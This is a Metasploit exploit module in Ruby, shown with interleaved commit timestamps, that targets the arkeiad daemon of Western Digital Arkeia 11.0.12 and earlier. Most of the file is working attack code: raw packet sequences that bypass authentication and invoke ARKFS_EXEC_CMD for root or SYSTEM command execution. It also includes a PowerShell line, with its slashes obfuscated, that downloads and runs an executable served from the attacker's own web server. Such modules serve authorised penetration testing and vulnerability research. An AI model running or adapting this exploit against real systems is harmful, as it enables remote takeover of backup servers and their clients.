2015-07-10 02:51:28 +00:00
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf :: Exploit :: Remote
Rank = ExcellentRanking
include Msf :: Exploit :: Remote :: Tcp
2015-07-10 17:48:21 +00:00
include Msf :: Exploit :: Remote :: HttpServer :: HTML
2015-07-10 02:51:28 +00:00
include Msf :: Exploit :: EXE
include Msf :: Exploit :: FileDropper
def initialize ( info = { } )
super ( update_info ( info ,
'Name' = > 'WD Arkeia Remote Code Execution' ,
'Description' = > %q{
This module exploits a code execution flaw in Western Digital Arkeia version 11 . 0 . 12 and below .
The vulnerability exists in the 'arkeiad' daemon listening on TCP port 617 . Because there are
insufficient checks on the authentication of all clients , this can be bypassed .
Using the ARKFS_EXEC_CMD operation it ' s possible to execute arbitrary commands with root or
SYSTEM privileges .
The daemon is installed on both the Arkeia server as well on all the backup clients . The module
2015-07-10 15:33:02 +00:00
has been successfully tested on Windows , Linux , OSX , FreeBSD and OpenBSD .
2015-07-10 02:51:28 +00:00
} ,
'Author' = >
[
2015-07-10 15:33:02 +00:00
'xistence <xistence[at]0x90.nl>' # Vulnerability discovery and Metasploit module
2015-07-10 02:51:28 +00:00
] ,
'License' = > MSF_LICENSE ,
'References' = >
[
] ,
'Privileged' = > true ,
2015-07-10 17:48:21 +00:00
'Stance' = > Msf :: Exploit :: Stance :: Aggressive ,
2015-07-10 02:51:28 +00:00
'Payload' = >
{
'DisableNops' = > true
} ,
'Targets' = >
[
[ 'Windows' ,
{
'Arch' = > ARCH_X86 ,
'Platform' = > 'win' ,
}
] ,
[ 'Linux' ,
{
'Arch' = > ARCH_CMD ,
'Platform' = > 'unix' ,
'Payload' = >
{
'Space' = > 255 ,
'Compat' = > {
2015-07-10 15:33:02 +00:00
'PayloadType' = > 'cmd cmd_bash' ,
2015-07-10 02:51:28 +00:00
'RequiredCmd' = > 'perl python bash-tcp gawk openssl'
}
}
}
]
] ,
'DefaultTarget' = > 0 ,
'DisclosureDate' = > 'Jul 10 2015' ) )
register_options (
[
Opt :: RPORT ( 617 ) ,
OptInt . new ( 'HTTP_DELAY' , [ true , 'Time that the HTTP Server will wait for the payload request' , 10 ] )
] , self . class )
end
def check
connect
req = " \x00 \x41 "
req << " \x00 " * 5
req << " \x73 "
req << " \x00 " * 12
req << " \xc0 \xa8 \x02 \x74 "
req << " \x00 " * 56
req << " \x74 \x02 \xa8 \xc0 "
2015-07-10 15:34:47 +00:00
req << 'ARKADMIN'
2015-07-10 02:51:28 +00:00
req << " \x00 "
2015-07-10 15:34:47 +00:00
req << 'root'
2015-07-10 15:57:55 +00:00
req << " \x00 "
2015-07-10 15:34:47 +00:00
req << 'root'
2015-07-10 02:51:28 +00:00
req << " \x00 " * 3
2015-07-10 15:34:47 +00:00
req << '4.3.0-1' # version?
2015-07-10 15:57:55 +00:00
req << " \x00 " * 11
2015-07-10 02:51:28 +00:00
sock . put ( req )
2015-07-10 16:32:49 +00:00
id = sock . get_once ( 4 )
unless id && id . length == 4 && id == " \x00 \x60 \x00 \x04 "
2015-07-10 02:51:28 +00:00
disconnect
2015-07-10 16:32:49 +00:00
return Exploit :: CheckCode :: Unknown
end
data_length = sock . get_once ( 4 )
unless data_length && data_length . length == 4
disconnect
return Exploit :: CheckCode :: Unknown
end
data_length = data_length [ 2 .. 3 ] . unpack ( 'n' ) [ 0 ]
data = sock . get_once ( data_length )
unless data && data . length == data_length
disconnect
return Exploit :: CheckCode :: Unknown
2015-07-10 02:51:28 +00:00
end
req = " \x00 \x73 "
req << " \x00 " * 5
req << " \x0c \x32 "
req << " \x00 " * 11
sock . put ( req )
2015-07-10 16:32:49 +00:00
id = sock . get_once ( 4 )
unless id && id . length == 4 && id == " \x00 \x60 \x00 \x04 "
disconnect
return Exploit :: CheckCode :: Unknown
end
data_length = sock . get_once ( 4 )
2015-07-10 02:51:28 +00:00
2015-07-10 16:32:49 +00:00
unless data_length && data_length . length == 4
2015-07-10 02:51:28 +00:00
disconnect
2015-07-10 16:32:49 +00:00
return Exploit :: CheckCode :: Unknown
end
data_length = data_length [ 2 .. 3 ] . unpack ( 'n' ) [ 0 ]
data = sock . get_once ( data_length )
unless data && data . length == data_length
disconnect
return Exploit :: CheckCode :: Unknown
2015-07-10 02:51:28 +00:00
end
req = " \x00 \x61 \x00 \x04 \x00 \x01 \x00 \x11 \x00 \x00 \x31 \x00 "
2015-07-10 15:44:38 +00:00
req << 'EN' # Language
2015-07-10 02:51:28 +00:00
req << " \x00 " * 11
sock . put ( req )
2015-07-10 16:32:49 +00:00
id = sock . get_once ( 4 )
unless id && id . length == 4 && id == " \x00 \x43 \x00 \x00 "
disconnect
return Exploit :: CheckCode :: Unknown
end
data_length = sock . get_once ( 4 )
2015-07-10 02:51:28 +00:00
2015-07-10 16:32:49 +00:00
unless data_length && data_length . length == 4
2015-07-10 02:51:28 +00:00
disconnect
2015-07-10 16:32:49 +00:00
return Exploit :: CheckCode :: Unknown
end
data_length = data_length [ 2 .. 3 ] . unpack ( 'n' ) [ 0 ]
unless data_length == 0
disconnect
return Exploit :: CheckCode :: Unknown
2015-07-10 02:51:28 +00:00
end
# ARKADMIN_GET_CLIENT_INFO
2015-07-10 15:44:38 +00:00
req = " \x00 \x62 \x00 \x01 "
2015-07-10 02:51:28 +00:00
req << " \x00 " * 3
req << " \x26 "
2015-07-10 15:34:47 +00:00
req << 'ARKADMIN_GET_CLIENT_INFO' # Function to request agent information
2015-07-10 02:51:28 +00:00
req << " \x00 \x32 \x38 "
req << " \x00 " * 11
sock . put ( req )
2015-07-10 16:32:49 +00:00
id = sock . get_once ( 4 )
unless id && id . length == 4 && id == " \x00 \x43 \x00 \x00 "
2015-07-10 02:51:28 +00:00
disconnect
2015-07-10 16:32:49 +00:00
return Exploit :: CheckCode :: Unknown
end
data_length = sock . get_once ( 4 )
unless data_length && data_length . length == 4
disconnect
return Exploit :: CheckCode :: Unknown
end
data_length = data_length [ 2 .. 3 ] . unpack ( 'n' ) [ 0 ]
unless data_length == 0
disconnect
return Exploit :: CheckCode :: Unknown
2015-07-10 02:51:28 +00:00
end
req = " \x00 \x63 \x00 \x04 \x00 \x00 \x00 \x12 \x30 \x00 \x31 \x00 \x32 \x38 "
req << " \x00 " * 12
sock . put ( req )
2015-07-10 16:32:49 +00:00
# 1st packet
id = sock . get_once ( 4 )
unless id && id . length == 4 && id == " \x00 \x63 \x00 \x04 "
disconnect
return Exploit :: CheckCode :: Unknown
end
data_length = sock . get_once ( 4 )
unless data_length && data_length . length == 4
disconnect
return Exploit :: CheckCode :: Unknown
end
data_length = data_length [ 2 .. 3 ] . unpack ( 'n' ) [ 0 ]
data = sock . get_once ( data_length )
unless data && data . length == data_length
disconnect
return Exploit :: CheckCode :: Unknown
end
# 2nd packet
id = sock . get_once ( 4 )
unless id && id . length == 4 && id == " \x00 \x68 \x00 \x04 "
disconnect
return Exploit :: CheckCode :: Unknown
end
data_length = sock . get_once ( 4 )
unless data_length && data_length . length == 4
disconnect
return Exploit :: CheckCode :: Unknown
end
data_length = data_length [ 2 .. 3 ] . unpack ( 'n' ) [ 0 ]
data = sock . get_once ( data_length )
unless data && data . length == data_length
disconnect
return Exploit :: CheckCode :: Unknown
end
# 3rd packet
id = sock . get_once ( 4 )
unless id && id . length == 4 && id == " \x00 \x65 \x00 \x04 "
disconnect
return Exploit :: CheckCode :: Unknown
end
data_length = sock . get_once ( 4 )
unless data_length && data_length . length == 4
disconnect
return Exploit :: CheckCode :: Unknown
end
data_length = data_length [ 2 .. 3 ] . unpack ( 'n' ) [ 0 ]
data = sock . get_once ( data_length )
unless data && data . length == data_length && data . include? ( 'You have successfully retrieved client information' )
disconnect
return Exploit :: CheckCode :: Unknown
end
# 4th packet
id = sock . get_once ( 4 )
unless id && id . length == 4 && id == " \x00 \x69 \x00 \x04 "
disconnect
return Exploit :: CheckCode :: Unknown
end
data_length = sock . get_once ( 4 )
unless data_length && data_length . length == 4
disconnect
return Exploit :: CheckCode :: Unknown
end
data_length = data_length [ 2 .. 3 ] . unpack ( 'n' ) [ 0 ]
data = sock . get_once ( data_length )
unless data && data . length == data_length
disconnect
return Exploit :: CheckCode :: Unknown
end
if data =~ / VERSION.*WD Arkeia ([0-9]+ \ .[0-9]+ \ .[0-9]+) /
2015-07-10 02:51:28 +00:00
version = $1
2015-07-10 15:57:55 +00:00
vprint_status ( " #{ rhost } : #{ rport } - Arkeia version detected: #{ version } " )
if Gem :: Version . new ( version ) < = Gem :: Version . new ( '11.0.12' )
return Exploit :: CheckCode :: Appears
else
return Exploit :: CheckCode :: Safe
2015-07-10 02:51:28 +00:00
end
else
2015-07-10 15:57:55 +00:00
vprint_status ( " #{ rhost } : #{ rport } - Arkeia version not detected " )
return Exploit :: CheckCode :: Unknown
2015-07-10 02:51:28 +00:00
end
end
def exploit
if target . name =~ / Windows /
2015-07-10 16:57:48 +00:00
@down_file = rand_text_alpha ( 8 + rand ( 8 ) )
2015-07-10 02:51:28 +00:00
@pl = generate_payload_exe
2015-07-10 17:48:21 +00:00
begin
Timeout . timeout ( datastore [ 'HTTP_DELAY' ] ) { super }
rescue Timeout :: Error
end
2015-07-10 02:51:28 +00:00
elsif target . name =~ / Linux /
communicate ( payload . encoded )
return
end
end
2015-07-10 17:48:21 +00:00
def primer
@payload_url = get_uri
# PowerShell web download. The char replacement is needed because using the "/" character twice (like http://) directly is not possible on Windows agents.
command = " PowerShell -Command \" $s=[CHAR][BYTE]47;$b= \\ \" #{ @payload_url . gsub ( / \/ / , '$($s)' ) } \\ \" ; "
command << " (New-Object System.Net.WebClient).DownloadFile($b,'c:/ #{ @down_file } .exe'); "
command << " (New-Object -com Shell.Application).ShellExecute('c:/ #{ @down_file } .exe'); \" "
communicate ( command )
end
2015-07-10 02:51:28 +00:00
def communicate ( command )
2015-07-10 17:48:21 +00:00
print_status ( " #{ rhost } : #{ rport } - Connecting to Arkeia daemon " )
2015-07-10 16:57:48 +00:00
2015-07-10 17:48:21 +00:00
connect
2015-07-10 16:57:48 +00:00
2015-07-10 17:48:21 +00:00
print_status ( " #{ rhost } : #{ rport } - Sending agent communication " )
2015-07-10 16:57:48 +00:00
2015-07-10 17:48:21 +00:00
req = " \x00 \x41 \x00 \x00 \x00 \x00 \x00 \x70 "
req << " \x00 " * 12
req << " \xc0 \xa8 \x02 \x8a "
req << " \x00 " * 56
req << " \x8a \x02 \xa8 \xc0 "
req << 'ARKFS'
req << " \x00 "
req << 'root'
req << " \x00 "
req << 'root'
req << " \x00 " * 3
req << '4.3.0-1' # Client version ?
req << " \x00 " * 11
2015-07-10 16:57:48 +00:00
2015-07-10 17:48:21 +00:00
sock . put ( req )
2015-07-10 02:51:28 +00:00
2015-07-10 17:48:21 +00:00
id = sock . get_once ( 4 )
unless id && id . length == 4 && id == " \x00 \x60 \x00 \x04 "
disconnect
fail_with ( Failure :: Unknown , " #{ rhost } : #{ rport } - Failure reading packet identifier " )
end
2015-07-10 02:51:28 +00:00
2015-07-10 17:48:21 +00:00
data_length = sock . get_once ( 4 )
2015-07-10 16:57:48 +00:00
2015-07-10 17:48:21 +00:00
unless data_length && data_length . length == 4
disconnect
fail_with ( Failure :: Unknown , " #{ rhost } : #{ rport } - Failure reading packet length " )
end
2015-07-10 16:57:48 +00:00
2015-07-10 17:48:21 +00:00
data_length = data_length [ 2 .. 3 ] . unpack ( 'n' ) [ 0 ]
2015-07-10 02:51:28 +00:00
2015-07-10 17:48:21 +00:00
data = sock . get_once ( data_length )
unless data && data . length == data_length
disconnect
fail_with ( Failure :: Unknown , " #{ rhost } : #{ rport } - Failure reading packet data " )
end
2015-07-10 16:57:48 +00:00
2015-07-10 17:48:21 +00:00
req = " \x00 \x73 \x00 \x00 \x00 \x00 \x00 \x0c \x32 "
req << " \x00 " * 11
2015-07-10 02:51:28 +00:00
2015-07-10 17:48:21 +00:00
sock . put ( req )
id = sock . get_once ( 4 )
unless id && id . length == 4 && id == " \x00 \x60 \x00 \x04 "
disconnect
fail_with ( Failure :: Unknown , " #{ rhost } : #{ rport } - Failure reading packet identifier " )
end
2015-07-10 16:57:48 +00:00
2015-07-10 17:48:21 +00:00
data_length = sock . get_once ( 4 )
2015-07-10 02:51:28 +00:00
2015-07-10 17:48:21 +00:00
unless data_length && data_length . length == 4
disconnect
fail_with ( Failure :: Unknown , " #{ rhost } : #{ rport } - Failure reading packet length " )
end
2015-07-10 16:57:48 +00:00
2015-07-10 17:48:21 +00:00
data_length = data_length [ 2 .. 3 ] . unpack ( 'n' ) [ 0 ]
2015-07-10 16:57:48 +00:00
2015-07-10 17:48:21 +00:00
data = sock . get_once ( data_length )
unless data && data . length == data_length
disconnect
fail_with ( Failure :: Unknown , " #{ rhost } : #{ rport } - Failure reading packet data " )
end
2015-07-10 02:51:28 +00:00
2015-07-10 17:48:21 +00:00
req = " \x00 \x61 \x00 \x04 \x00 \x01 \x00 \x1a \x00 \x00 "
req << rand_text_numeric ( 10 ) # "1234567890" - 10 byte numerical value, like a session ID?
req << " \x00 "
req << 'EN' # English language?
req << " \x00 " * 11
2015-07-10 02:51:28 +00:00
2015-07-10 17:48:21 +00:00
sock . put ( req )
id = sock . get_once ( 4 )
unless id && id . length == 4 && id == " \x00 \x43 \x00 \x00 "
disconnect
fail_with ( Failure :: Unknown , " #{ rhost } : #{ rport } - Failure reading packet identifier " )
end
2015-07-10 02:51:28 +00:00
2015-07-10 17:48:21 +00:00
data_length = sock . get_once ( 4 )
2015-07-10 02:51:28 +00:00
2015-07-10 17:48:21 +00:00
unless data_length && data_length . length == 4
disconnect
fail_with ( Failure :: Unknown , " #{ rhost } : #{ rport } - Failure reading packet length " )
end
2015-07-10 16:57:48 +00:00
2015-07-10 17:48:21 +00:00
data_length = data_length [ 2 .. 3 ] . unpack ( 'n' ) [ 0 ]
2015-07-10 16:57:48 +00:00
2015-07-10 17:48:21 +00:00
unless data_length == 0
disconnect
fail_with ( Failure :: Unknown , " #{ rhost } : #{ rport } - Unexpected length read " )
end
2015-07-10 16:57:48 +00:00
2015-07-10 17:48:21 +00:00
req = " \x00 \x62 \x00 \x01 \x00 \x02 \x00 \x1b "
req << 'ARKFS_EXEC_CMD' # With this function we can execute system commands with root/SYSTEM privileges
req << " \x00 \x31 "
req << " \x00 " * 11
2015-07-10 16:57:48 +00:00
2015-07-10 17:48:21 +00:00
sock . put ( req )
2015-07-10 16:57:48 +00:00
2015-07-10 17:48:21 +00:00
id = sock . get_once ( 4 )
unless id && id . length == 4 && id == " \x00 \x43 \x00 \x00 "
disconnect
fail_with ( Failure :: Unknown , " #{ rhost } : #{ rport } - Failure reading packet identifier " )
end
2015-07-10 02:51:28 +00:00
2015-07-10 17:48:21 +00:00
data_length = sock . get_once ( 4 )
2015-07-10 02:51:28 +00:00
2015-07-10 17:48:21 +00:00
unless data_length && data_length . length == 4
disconnect
fail_with ( Failure :: Unknown , " #{ rhost } : #{ rport } - Failure reading packet length " )
end
2015-07-10 02:51:28 +00:00
2015-07-10 17:48:21 +00:00
data_length = data_length [ 2 .. 3 ] . unpack ( 'n' ) [ 0 ]
2015-07-10 02:51:28 +00:00
2015-07-10 17:48:21 +00:00
unless data_length == 0
disconnect
fail_with ( Failure :: Unknown , " #{ rhost } : #{ rport } - Unexpected length read " )
end
2015-07-10 02:51:28 +00:00
2015-07-10 17:48:21 +00:00
req = " \x00 \x63 \x00 \x04 \x00 \x03 \x00 \x15 \x31 \x00 \x31 \x00 \x31 \x00 \x30 \x3a \x31 \x2c "
req << " \x00 " * 11
2015-07-10 16:57:48 +00:00
2015-07-10 17:48:21 +00:00
sock . put ( req )
2015-07-10 16:57:48 +00:00
2015-07-10 17:48:21 +00:00
command_length = '%02x' % command . length
command_length = command_length . scan ( / .. / ) . map { | x | x . hex . chr } . join
2015-07-10 16:57:48 +00:00
2015-07-10 17:48:21 +00:00
req = " \x00 \x64 \x00 \x04 \x00 \x04 \x00 "
req << command_length # Maximum length can be 255 bytes (0xFF)
req << command # Our command to be executed
req << " \x00 "
2015-07-10 16:57:48 +00:00
2015-07-10 17:48:21 +00:00
print_status ( " #{ rhost } : #{ rport } - Executing payload through ARKFS_EXEC_CMD " )
2015-07-10 16:57:48 +00:00
2015-07-10 17:48:21 +00:00
sock . put ( req )
2015-07-10 16:57:48 +00:00
2015-07-10 17:48:21 +00:00
id = sock . get_once ( 4 )
unless id && id . length == 4 && id == " \x00 \x63 \x00 \x04 "
disconnect
fail_with ( Failure :: Unknown , " #{ rhost } : #{ rport } - Failure reading packet identifier " )
end
2015-07-10 16:57:48 +00:00
2015-07-10 17:48:21 +00:00
data_length = sock . get_once ( 4 )
2015-07-10 16:57:48 +00:00
2015-07-10 17:48:21 +00:00
unless data_length && data_length . length == 4
disconnect
fail_with ( Failure :: Unknown , " #{ rhost } : #{ rport } - Failure reading packet length " )
end
2015-07-10 02:51:28 +00:00
2015-07-10 17:48:21 +00:00
data_length = data_length [ 2 .. 3 ] . unpack ( 'n' ) [ 0 ]
2015-07-10 16:57:48 +00:00
2015-07-10 17:48:21 +00:00
data = sock . get_once ( data_length )
unless data && data . length == data_length
disconnect
fail_with ( Failure :: Unknown , " #{ rhost } : #{ rport } - Failure reading packet data " )
end
2015-07-10 16:57:48 +00:00
2015-07-10 17:48:21 +00:00
# 1st Packet
2015-07-10 16:57:48 +00:00
2015-07-10 17:48:21 +00:00
id = sock . get_once ( 4 )
unless id && id . length == 4 && id == " \x00 \x68 \x00 \x04 "
disconnect
fail_with ( Failure :: Unknown , " #{ rhost } : #{ rport } - Failure reading packet identifier " )
end
2015-07-10 16:57:48 +00:00
2015-07-10 17:48:21 +00:00
data_length = sock . get_once ( 4 )
2015-07-10 16:57:48 +00:00
2015-07-10 17:48:21 +00:00
unless data_length && data_length . length == 4
disconnect
fail_with ( Failure :: Unknown , " #{ rhost } : #{ rport } - Failure reading packet length " )
end
2015-07-10 16:57:48 +00:00
2015-07-10 17:48:21 +00:00
data_length = data_length [ 2 .. 3 ] . unpack ( 'n' ) [ 0 ]
2015-07-10 16:57:48 +00:00
2015-07-10 17:48:21 +00:00
data = sock . get_once ( data_length )
unless data && data . length == data_length
disconnect
fail_with ( Failure :: Unknown , " #{ rhost } : #{ rport } - Failure reading packet data " )
end
# 2st Packet
2015-07-10 02:51:28 +00:00
2015-07-10 17:48:21 +00:00
id = sock . get_once ( 4 )
unless id && id . length == 4 && id == " \x00 \x68 \x00 \x04 "
disconnect
fail_with ( Failure :: Unknown , " #{ rhost } : #{ rport } - Failure reading packet identifier " )
end
data_length = sock . get_once ( 4 )
unless data_length && data_length . length == 4
disconnect
fail_with ( Failure :: Unknown , " #{ rhost } : #{ rport } - Failure reading packet length " )
end
data_length = data_length [ 2 .. 3 ] . unpack ( 'n' ) [ 0 ]
2015-07-10 02:51:28 +00:00
2015-07-10 17:48:21 +00:00
data = sock . get_once ( data_length )
unless data && data . length == data_length
disconnect
fail_with ( Failure :: Unknown , " #{ rhost } : #{ rport } - Failure reading packet data " )
end
2015-07-10 02:51:28 +00:00
end
def on_request_uri ( cli , request )
2015-07-10 17:48:21 +00:00
print_status ( " Request: #{ request . uri } " )
if request . uri == get_resource
print_status ( 'Sending payload...' )
send_response ( cli , @pl )
register_files_for_cleanup ( " c: \\ #{ @down_file } .exe " )
2015-07-10 02:51:28 +00:00
end
end
end